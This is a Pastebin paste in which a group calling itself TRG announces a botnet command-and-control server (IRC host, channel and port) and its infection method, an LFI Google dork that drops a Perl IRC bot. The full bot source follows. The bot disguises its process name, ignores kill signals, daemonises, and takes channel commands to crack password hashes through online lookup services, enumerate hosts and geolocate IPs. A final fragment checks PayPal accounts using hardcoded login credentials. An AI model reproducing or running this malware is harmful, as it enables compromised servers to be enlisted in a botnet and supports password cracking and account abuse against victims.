API tools faq
paste
Advertisement
Guest User

trg

a guest
Jan 19th, 2013
179
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.27 KB | None | 0 0
raw download clone embed print report
  1. TRG - c0li Botnet - 6/8/2012
  2. 1. -----BEGIN PGP SIGNED MESSAGE-----
  3. 2. Hash: RIPEMD160
  4. 3.
  5. 4. We, the TRG, presents a random botnet C&C
  6. 5.
  7. 6. Host: irc.c0li.net
  8. 7. Channel: #linux
  9. 8. Port: 54321
  10. 9. MOA: LFI google dork to dropping a perl irc bot
  11. 10. Bot: http://pastebin.com/pCajmCUq
  12. 11. Shell: http://pastebin.com/1pbCEQ5A
  13. 12. Website: http://c0li.blogspot.com
  14. 13.
  15. 14. -----BEGIN PGP SIGNATURE-----
  16. 15. Version: GnuPG v2.0.17 (MingW32)
  17. 16.
  18. 17. iQIcBAEBAwAGBQJP0pvIAAoJEFydt9HxKF6qKMcP/i5Cq3nR0tjYP/2f9Ghjuj6n
  19. 18. 8SknPm+QhYQkhehygfMydanthd6owZC6jnWAa30QPtxWEuSIdOVSpy38wQpb+9sQ
  20. 19. JBEUabvFnFcXWChV3OsKK++VqqPyM/7F4GJM8syXogtFY0zLTjMxW1+WZF8QD7pe
  21. 20. W/WGyjMdWIdJNtPv/W4yxylhd5WVwS3kHyPx51Es4xVDSQg5z1FQsh/DQ6yqsl2k
  22. 21. wvdpxGwJtJMU/p/gJlvfnnedYY6r8oZqHc9wrCjyVeBvsv8VNKf6ZKLcwJbGkanG
  23. 22. ZTIWEUCA0zzR3/PGICuO5P6QiUasM2nhdg9eLCCrSlk1mezZSEuuwiZdfC6et37o
  24. 23. lj3fhaLso/5fe2HoV61FDqZIaPPi1bbVOgCmrAuHyGbiZoP06a9Wo0UZ4XZFWZVb
  25. 24. 33O5LRfxHdszJr919y1ceb8ves5VBgH/Z6qJEcejIUpotAVZqozJu9BD0mL56MKP
  26. 25. tDR4epX0qJXGq4pIYN4W0r8mUxXyyHb/elOaixlMlud7Tkls40TcSZ18eMFfrq72
  27. 26. sAv2MiMo8PJC4A4cIpDeu+aILjoxmR+oN2a3gzWqIS4dC7kWfUr/sM7UfB0aJPJl
  28. 27. 4JzT9MaqNZIeKhUtuTSjcVTcxbYQ0Bm56nXlJYdDSymzG+JzW8MakgzaydflxSkM
  29. 28. fsDCzs4cCeeiRWSkt21I
  30. 29. =Xyvr
  31. 30. -----END PGP SIGNATURE-----
  32.  
  33.  
  34.  
  35. -----BEGIN PGP SIGNED MESSAGE-----
  36. Hash: RIPEMD160
  37.  
  38. #!/usr/bin/perl
  39.  
  40. use HTTP::Request::Common qw(POST);
  41. use LWP::UserAgent;
  42. use IO::Socket;
  43. use IO::Select;
  44. use Socket;
  45.  
  46. my $fakeproc = $ARGV[6];
  47. $ircserver = $ARGV[0] unless $ircserver;
  48. my $nickname = $ARGV[2];
  49. my $ident = $ARGV[3];
  50. my $channel = '#'.$ARGV[4];
  51. my $runner = $ARGV[5];
  52. my $fullname = '15(7@2Hash Cracker15)';
  53. my $ircport = $ARGV[1];
  54.  
  55.  
  56.  
  57. my $encrypt = '!enc';
  58. my $decrypt = '!dec';
  59. my $zipcmd = '!zip';
  60. my $ipcmd = '!ip';
  61.  
  62. my $success = "\n [+] Hash Cracker v2.0\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n\n";
  63. my $failed = "\n [?] perl $0 <irchost> <port> <nick> <ident> <chan> <runner> <fakeproc>\n\n";
  64.  
  65. if (@ARGV != 7) { print $failed; exit(); } else { print $success; }
  66.  
  67. $SIG{'INT'} = 'IGNORE';
  68. $SIG{'HUP'} = 'IGNORE';
  69. $SIG{'TERM'} = 'IGNORE';
  70. $SIG{'CHLD'} = 'IGNORE';
  71. $SIG{'PS'} = 'IGNORE';
  72.  
  73. chdir("/");
  74. $ircserver="$ARGV[0]" if $ARGV[0];
  75. $0="$fakeproc"."\0"x16;;
  76. my $pid=fork;
  77. exit if $pid;
  78. die "Something Wrong !!!: $!" unless defined($pid);
  79.  
  80. our %irc_servers;
  81. our %DCC;
  82. my $dcc_sel = new IO::Select->new();
  83. $sel_client = IO::Select->new();
  84.  
  85. sub sendraw {
  86. if ($#_ == '1') {
  87. my $socket = $_[0];
  88. print $socket "$_[1]\n";
  89. } else {
  90. print $IRC_cur_socket "$_[0]\n";
  91. }
  92. }
  93.  
  94. sub connector {
  95. my $mynick = $_[0];
  96. my $ircserver_con = $_[1];
  97. my $ircport_con = $_[2];
  98. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  99. if (defined($IRC_socket)) {
  100. $IRC_cur_socket = $IRC_socket;
  101.  
  102. $IRC_socket->autoflush(1);
  103. $sel_client->add($IRC_socket);
  104.  
  105. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  106. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  107. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  108. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  109. nick("$mynick");
  110. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  111. sleep 1;
  112. }
  113. }
  114.  
  115. sub parse {
  116. my $servarg = shift;
  117. if ($servarg =~ /^PING \:(.*)/) {
  118. sendraw("PONG :$1");
  119. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  120. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  121. if ($args =~ /^\001VERSION\001$/) {
  122. notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
  123. }
  124. if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
  125. my $natrix = $1;
  126. my $arg = $2;
  127. }
  128. }
  129. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  130. if (lc($1) eq lc($mynick)) {
  131. $mynick=$4;
  132. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  133. }
  134. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  135. nick("$mynick|".int rand(999));
  136. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  137. $mynick = $2;
  138. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  139. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  140. sendraw("MODE $nickname +Bx");
  141. sendraw("JOIN $channel");
  142. sendraw("PRIVMSG $channel :TempSys md5");
  143. sendraw("PRIVMSG $runner :Hi $runner im here !!!");
  144. }
  145. }
  146.  
  147. my $line_temp;
  148. while( 1 ) {
  149. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  150. delete($irc_servers{''}) if (defined($irc_servers{''}));
  151. my @ready = $sel_client->can_read(0);
  152. next unless(@ready);
  153. foreach $fh (@ready) {
  154. $IRC_cur_socket = $fh;
  155. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  156. $nread = sysread($fh, $msg, 4096);
  157. if ($nread == 0) {
  158. $sel_client->remove($fh);
  159. $fh->close;
  160. delete($irc_servers{$fh});
  161. }
  162. @lines = split (/\n/, $msg);
  163. $msg =~ s/\r\n$//;
  164.  
  165. if ($msg=~ /PRIVMSG $channel :!help/){
  166. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15)7 $encrypt <text> | $decrypt <hash> | $zipcmd> <us-zipcode> | $ipcmd <ip/host> | !host <ip/host> | !power | !about ");
  167. }
  168.  
  169. if ($msg=~ /PRIVMSG $channel :!power/){
  170. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 MD5 : md5_64bit, md5_128bit, md5(md5_lcase) \& md5(md5_Ucase)");
  171. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 Sha1 : sha1_160bit");
  172. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 MySQL : MySQL_64bit \& MySQL_160bit");
  173. }
  174.  
  175. if ($msg=~ /PRIVMSG $channel :!about/){
  176. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 Hash Cracker v1.3");
  177. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 Coded by VopCrew");
  178. }
  179.  
  180. if ($msg=~ /PRIVMSG $channel :!pid/){
  181. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");
  182. }
  183.  
  184. ##################################################################### PassCracking.Com Hash Engine - Hash 2 Text
  185. if ($msg=~ /PRIVMSG $channel :$decrypt\s+(.*)/ ) {
  186. if (my $pid = fork) {
  187. waitpid($pid, 0);
  188. } else {
  189. if (fork) {
  190. exit;
  191. } else {
  192. my $hash = $1;
  193. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 Trying to Crack7 ".$hash." 12...");
  194. my $cracker = "http://passcracking.com/index.php";
  195. my ($useragent,$request,$response,%form);
  196. undef %form;
  197. $form{datafromuser} = $hash;
  198. $useragent = LWP::UserAgent->new;
  199. $useragent->timeout(10);
  200. $request = POST $cracker,\%form;
  201. $response = $useragent->request($request);
  202. if ($response->is_success) {
  203. my $res = $response->content;
  204. if ($res =~ m/([0-9])<\/td><td>(.*)<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)<\/td><td>(.*)<\/td><\/tr><tr align=center onMouseOver=/g) {
  205. my ($type,$result) = ($2,$3);
  206. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [$type]4 ".$hash." 12->3 ".$result);
  207. }
  208. elsif ($res =~ m/([0-9])<\/td><td>(.*)<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)<\/td><td>/g) {
  209. my ($type,$result) = ($2,$3);
  210. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [$type]4 ".$hash." 12->3 ".$result);
  211. }
  212. elsif ($res =~ m/([0-9])<\/td\><td>(.*)<\/td><td>$hash<\/td><td >[ not found ]/g) {
  213. my $type = $2;
  214. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [PassCracking]7 [$type]4 ".$hash." 12not found.");
  215. }
  216. elsif ($res =~ m/Thanks for NEW pass/g) {
  217. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [PassCracking]7 ".$hash." 12is unknown hash.");
  218. }
  219. else {
  220. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [PassCracking]7 ".$hash." 12not found.");
  221. }
  222. }
  223. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open PassCracking.cOm"); }
  224. }
  225. exit;
  226. }}
  227.  
  228. ##################################################################### GDataOnline.com MD5 Engine - Md5 2 Text
  229. if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
  230. if (my $pid = fork) {
  231. waitpid($pid, 0);
  232. } else {
  233. if (fork) {
  234. exit;
  235. } else {
  236. my $hash = $1;
  237. my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;
  238. my $request = HTTP::Request->new(GET=>$cracker);
  239. my $useragent = LWP::UserAgent->new();
  240. $useragent->timeout(10);
  241. my $response = $useragent->request($request);
  242. if ($response->is_success) {
  243. my $res = $response->content;
  244. if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {
  245. my $result = $1;
  246. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [GDataOnline]4 ".$hash." 12->3 ".$result);
  247. }
  248. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [GDataOnline]4 ".$hash." 12not found."); }
  249. }
  250. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open GDataOnline.cOm"); }
  251. }
  252. exit;
  253. }}
  254.  
  255. ##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Text
  256. if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
  257. if (my $pid = fork) {
  258. waitpid($pid, 0);
  259. } else {
  260. if (fork) {
  261. exit;
  262. } else {
  263. my $hash = $1;
  264. my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
  265. my $request = HTTP::Request->new(GET=>$cracker);
  266. my $useragent = LWP::UserAgent->new();
  267. $useragent->timeout(10);
  268. my $response = $useragent->request($request);
  269. if ($response->is_success) {
  270. my $res = $response->content;
  271. if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
  272. my $result = $1;
  273. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [RedNoize]4 ".$hash." 12->3 ".$result);
  274. }
  275. else {
  276. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [RedNoize]4 ".$hash." 12not found.");
  277. }
  278. }
  279. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open Md5.RedNoize.cOm"); }
  280. }
  281. exit;
  282. }}
  283.  
  284. ##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hash
  285. if ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {
  286. if (my $pid = fork) {
  287. waitpid($pid, 0);
  288. } else {
  289. if (fork) {
  290. exit;
  291. } else {
  292. my $teks=$1;
  293. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Trying to encrypt7 ".$teks." 12...");
  294. my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
  295. my $request = HTTP::Request->new(GET=>$hashing);
  296. my $useragent = LWP::UserAgent->new();
  297. $useragent->timeout(10);
  298. my $response = $useragent->request($request);
  299. if ($response->is_success) {
  300. my $res = $response->content;
  301. if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
  302. my ($md5,$sha1,$base64) = ($1,$2,$3);
  303. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 MD5 :4 ".$teks." 12->3 ".$md5);
  304. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Sha1 :4 ".$teks." 12->3 ".$sha1);
  305. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Base64 :4 ".$teks." 12->3 ".$base64);
  306. }
  307. }
  308. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open c0li.m0de.0n"); }
  309. }
  310. exit;
  311. }}
  312.  
  313. ##################################################################### www.myipneighbors.com - DOTESTBED HOSTED SCANNER
  314. if ($msg=~ /PRIVMSG $channel :!host\s+(.*)/ ) {
  315. if (my $pid = fork) {
  316. waitpid($pid, 0);
  317. } else {
  318. if (fork) {
  319. exit;
  320. } else {
  321. my $ipaddr = $1;
  322. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Dotestbed in7 ".$ipaddr." 12Host ...");
  323. my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";
  324. my $res = getcontent($hashing);
  325. while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {
  326. my $dns1 = $1;
  327. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$dns1);
  328. sleep(2);
  329. }
  330. while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {
  331. my $dns2 = $1;
  332. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$dns2);
  333. sleep(2);
  334. }
  335. if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {
  336. if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {
  337. $mydns = $1;
  338. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$mydns);
  339. }
  340. else {
  341. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 7->4 Bad Dotestbed.");
  342. }
  343. }
  344. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Listing of Dotestbed in4 ".$ipaddr." 12is Done.");
  345. }
  346. exit;
  347. }}
  348.  
  349. ##################################################################### US ZIP Lookup www.ZIPInfo.com
  350. if ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {
  351. if (my $pid = fork) {
  352. waitpid($pid, 0);
  353. } else {
  354. if (fork) {
  355. exit;
  356. } else {
  357. my $zip = $1;
  358. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Looking up7 ".$zip." 12ZIP Code ...");
  359. my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
  360. my $request = HTTP::Request->new(GET=>$website);
  361. my $useragent = LWP::UserAgent->new();
  362. $useragent->timeout(10);
  363. my $response = $useragent->request($request);
  364. if ($response->is_success) {
  365. my $res = $response->content;
  366. if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
  367. my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
  368. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 City Name :3 ".$city."");
  369. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 State Code :3 ".$state."");
  370. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 ZIP Code :3 ".$zipcode."");
  371. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 County Name :3 ".$county."");
  372. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Area Code :3 ".$area."");
  373. }
  374. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)7 $zip 4is not a valid ZIP code."); }
  375. }
  376. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Cannot open www.ZIPInfo.com"); }
  377. }
  378. exit;
  379. }}
  380.  
  381. ##################################################################### IP Location - www.ipligence.com
  382. if ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {
  383. if (my $pid = fork) {
  384. waitpid($pid, 0);
  385. } else {
  386. if (fork) {
  387. exit;
  388. } else {
  389. my $ip = $1;
  390. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Searching7 ".$ip." 12Location ...");
  391. my $website = "http://www.ipligence.com/geolocation";
  392. my ($useragent,$request,$response,%form);
  393. undef %form;
  394. $form{ip} = $ip;
  395. $useragent = LWP::UserAgent->new;
  396. $useragent->timeout(10);
  397. $request = POST $website,\%form;
  398. $response = $useragent->request($request);
  399. if ($response->is_success) {
  400. my $res = $response->content;
  401. if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
  402. my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  403. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 IP Address :3 ".$ipaddress."");
  404. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 City :3 ".$city."");
  405. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Country :3 ".$country."");
  406. sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Continent :3 ".$continent."");
  407. }
  408. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)7 $ip 12-> 4Invalid address or IP not found."); }
  409. }
  410. else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Cannot open www.ipligence.com"); }
  411. }
  412. exit;
  413. }}
  414.  
  415. for (my $c=0; $c<= $#lines; $c++) {
  416. $line = $lines[$c];
  417. $line=$line_temp.$line if ($line_temp);
  418. $line_temp='';
  419. $line =~ s/\r$//;
  420. unless ($c == $#lines) {
  421. parse("$line");
  422. } else {
  423. if ($#lines == 0) {
  424. parse("$line");
  425. } elsif ($lines[$c] =~ /\r$/) {
  426. parse("$line");
  427. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  428. parse("$line");
  429. } else {
  430. $line_temp = $line;
  431. }
  432. }
  433. }
  434.  
  435. }}
  436.  
  437. sub nick {
  438. return unless $#_ == 0;
  439. sendraw("NICK $_[0]");
  440. }
  441.  
  442. sub notice {
  443. return unless $#_ == 1;
  444. sendraw("NOTICE $_[0] :$_[1]");
  445. }
  446.  
  447. sub getcontent() {
  448. $url = $_[0];
  449. my $req = HTTP::Request->new(GET => $url);
  450. my $ua = LWP::UserAgent->new();
  451. $ua->timeout(10);
  452. my $response = $ua->request($req);
  453. return $response->content;
  454. }
  455. ##################################################################### PP Checking
  456.  
  457. if($msg{'what'} =~ /\!chkpp (.*)/)
  458. {
  459. my ($ppchek) = ($1);
  460. chop($ppchek);
  461. &respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek- ");
  462. print "inizio mechanize\n";
  463. my $agent = WWW::Mechanize->new( autocheck => 1 );
  464. my $formfiller = WWW::Mechanize::FormFiller->new();
  465. $agent->env_proxy();
  466. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  467. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  468. $agent->form_number(3);
  469. { local $^W; $agent->current_form->value('login_email', 'otntguzuhj@mailinator.com'); };
  470. { local $^W; $agent->current_form->value('login_password', 'kernel747'); };
  471. $agent->submit();
  472. $agent->follow_link('n' => 7);
  473. print $agent->content,"\n";
  474. my $internal=$agent->content;
  475. &respond_to_privmsg(\%msg,"Email - ${ppchek} - ");
  476. if ($internal =~/is NOT PayPal Verified/){
  477. &respond_to_privmsg(\%msg,"PaypaL - is - 04UnVerified ");
  478. }
  479. if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
  480. &respond_to_privmsg(\%msg,"PaypaL - is - 03Verified ");
  481. }
  482. }
  483. -----BEGIN PGP SIGNATURE-----
  484. Version: GnuPG v2.0.17 (MingW32)
  485.  
  486. iQIcBAEBAwAGBQJP0pofAAoJEFydt9HxKF6qaVcP+wfyV2ZWaw6Mtz74ZKjfHs8K
  487. ijflTKWrKBGzkPEFL2KiVKsOxvOA0ypVnfxQthyCIeWwhXClWL0z1iyUTqch2muw
  488. 7cSrxbNzlDe4GLU+4hDS3Q8FbjYg1ZbnR89Cf8XjMu+l7Bgwd+qgOZQqIE/fopr/
  489. TK8tSNa6t8iJ4q1fXh5DLtHviRyiVX8WUa+HVQWJFvhcMb7WuakA8j3fuSuzCwcN
  490. uZQQm1XNuQivuDcNZfnR9hEmBot0PpDtu96IeKaFncEHrNkqaVc4+kJT5RyDSDDf
  491. tHv1BYUbvuc9P25/NQY2t9+QaBBK1oqvWTnmzYBUc/8X6Z/pLiU6win9Hnwv+w1l
  492. oX164Tk5XBAQ6AAlJkVkr9DJJdLCAhgwdD2RU0NYK9a0LBaof83qynKXqBYEYXcJ
  493. y4TG/w6vNIWQM2e3U1fb+0Udihp6Z6h0dJLPdzm2Aqij7irNCA1kKHRSsUHniImD
  494. rKNcMmCovKhBU9fs88YwSNrJHO+knCf4xndB9KMzB98yPxwJXfSO7/Da0I8q/Scn
  495. sG3foYZEk+I3e5KieKws2TXtPaq0W08LsD7LJUKBma7xkJ5ejbV6xW0teX18pxKe
  496. 2j6lsQ/H/11kvgrtu3rX48uSIQ5bcNH3s9khemipd9IHDXTgimU9myQ27vk7fPqH
  497. lP4jKjvjFWWo/cYzjEow
  498. =2wgJ
  499. -----END PGP SIGNATURE-----
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!